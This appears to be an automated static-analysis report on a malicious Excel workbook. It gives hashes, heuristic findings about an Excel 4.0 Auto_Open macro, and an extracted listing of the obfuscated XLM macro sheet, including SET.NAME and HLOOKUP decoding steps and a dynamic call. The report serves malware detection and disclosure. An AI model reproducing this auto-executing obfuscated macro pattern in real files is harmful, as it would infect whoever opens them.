Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aa2bd6b02658113c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:51 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: d46c0d5178297cd99af989494aea202f SHA-1: e852b3f802b680043359206f1613f333d22b47f8 SHA-256: aa2bd6b02658113c19471195cbd4c0c06ab334bbc5bc393e655c22e2e7fa32f8
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6843 bytes
SHA-256: 7c2ffc2238569395d3333b41a4b72df7437ed12099d880804243d2d9d2394787
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wUQBMAIQXPn
' 0018     21 LABEL : Cell Value, String Constant - aFRFON len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F178 
' 0018     27 LABEL : Cell Value, String Constant - aZsvlqtcsJtT len=0 
' 0018     25 LABEL : Cell Value, String Constant - BWGLziGmRg len=0 
' 0018     20 LABEL : Cell Value, String Constant - clzPB len=0 
' 0018     22 LABEL : Cell Value, String Constant - DKESgje len=0 
' 0018     20 LABEL : Cell Value, String Constant - EsdJf len=0 
' 0018     22 LABEL : Cell Value, String Constant - HRDbmIX len=0 
' 0018     25 LABEL : Cell Value, String Constant - JFXDnMAAwH len=0 
' 0018     24 LABEL : Cell Value, String Constant - ktdFlhBIj len=0 
' 0018     27 LABEL : Cell Value, String Constant - MswfuiToIVQJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - nvAGR len=0 
' 0018     20 LABEL : Cell Value, String Constant - puMxg len=0 
' 0018     26 LABEL : Cell Value, String Constant - RAWjcdqBUQS len=0 
' 0018     25 LABEL : Cell Value, String Constant - rIruGnIZID len=0 
' 0018     24 LABEL : Cell Value, String Constant - SgBnrnFla len=0 
' 0018     21 LABEL : Cell Value, String Constant - TgoDnK len=0 
' 0018     20 LABEL : Cell Value, String Constant - UUZPM len=0 
' 0018     22 LABEL : Cell Value, String Constant - ViXtNCH len=0 
' 0018     26 LABEL : Cell Value, String Constant - xoEQZIbjJMI len=0 
' 0018     21 LABEL : Cell Value, String Constant - yGmarj len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  wUQBMAIQXPn,S42,"",-62.00000000000000000000
'  wUQBMAIQXPn,S43,"",-6.00000000000000000000
'  wUQBMAIQXPn,S44,"",-536.00000000000000000000
'  wUQBMAIQXPn,S45,"",-985.00000000000000000000
'  wUQBMAIQXPn,S46,"",500.00000000000000000000
'  wUQBMAIQXPn,S47,"",777.00000000000000000000
'  wUQBMAIQXPn,F86,"SET.NAME("xoEQZIbjJMI",0+VALUE("0"))",""
'  wUQBMAIQXPn,F89,"SET.NAME("DKESgje",xoEQZIbjJMI)",""
'  wUQBMAIQXPn,F91,"SET.NAME("ktdFlhBIj",xoEQZIbjJMI)",""
'  wUQBMAIQXPn,F93,"SET.NAME("JFXDnMAAwH",COUNTA(clzPB))",""
'  wUQBMAIQXPn,F97,"SET.NAME("UUZPM",COUNTA(rIruGnIZID))",""
'  wUQBMAIQXPn,F99,[],""
'  wUQBMAIQXPn,F104,"SET.NAME("BWGLziGmRg","")",""
'  wUQBMAIQXPn,F107,"DKESgje",""
'  wUQBMAIQXPn,F112,"SET.NAME("MswfuiToIVQJ",HLOOKUP("*",clzPB,DKESgje,FALSE))",""
'  wUQBMAIQXPn,F114,"aZsvlqtcsJtT",""
'  wUQBMAIQXPn,F119,"SET.NAME("SgBnrnFla",xoEQZIbjJMI)",""
'  wUQBMAIQXPn,F122,[],""
'  wUQBMAIQXPn,F124,"SgBnrnFla",""
'  wUQBMAIQXPn,F126,"EsdJf",""
'  wUQBMAIQXPn,F129,"ViXtNCH",""
'  wUQBMAIQXPn,F134,"puMxg",""
'  wUQBMAIQXPn,F138,"SET.NAME("nvAGR",VALUE(HLOOKUP("*",rIruGnIZID,puMxg,FALSE)))",""
'  wUQBMAIQXPn,F140,"TgoDnK",""
'  wUQBMAIQXPn,F144,"BWGLziGmRg",""
'  wUQBMAIQXPn,F148,"ktdFlhBIj",""
'  wUQBMAIQXPn,F153,NEXT(),""
'  wUQBMAIQXPn,F158,"RAWjcdqBUQS",""
'  wUQBMAIQXPn,F162,[],""
'  wUQBMAIQXPn,F167,"HRDbmIX",""
'  wUQBMAIQXPn,F169,NEXT(),""
'  wUQBMAIQXPn,F173,RETURN(),""
'  wUQBMAIQXPn,F203,"SET.NAME("yGmarj",F86)",""
'  wUQBMAIQXPn,F208,"clzPB",""
'  wUQBMAIQXPn,F211,"SET.NAME("rIruGnIZID",R42C12)",""
'  wUQBMAIQXPn,F216,"SET.NAME("HRDbmIX",224)",""
'  wUQBMAIQXPn,F219,"SET.NAME("aFRFON",6)",""
'  wUQBMAIQXPn,F223,yGmarj(),""
'  wUQBMAIQXPn,F224,HALT(),""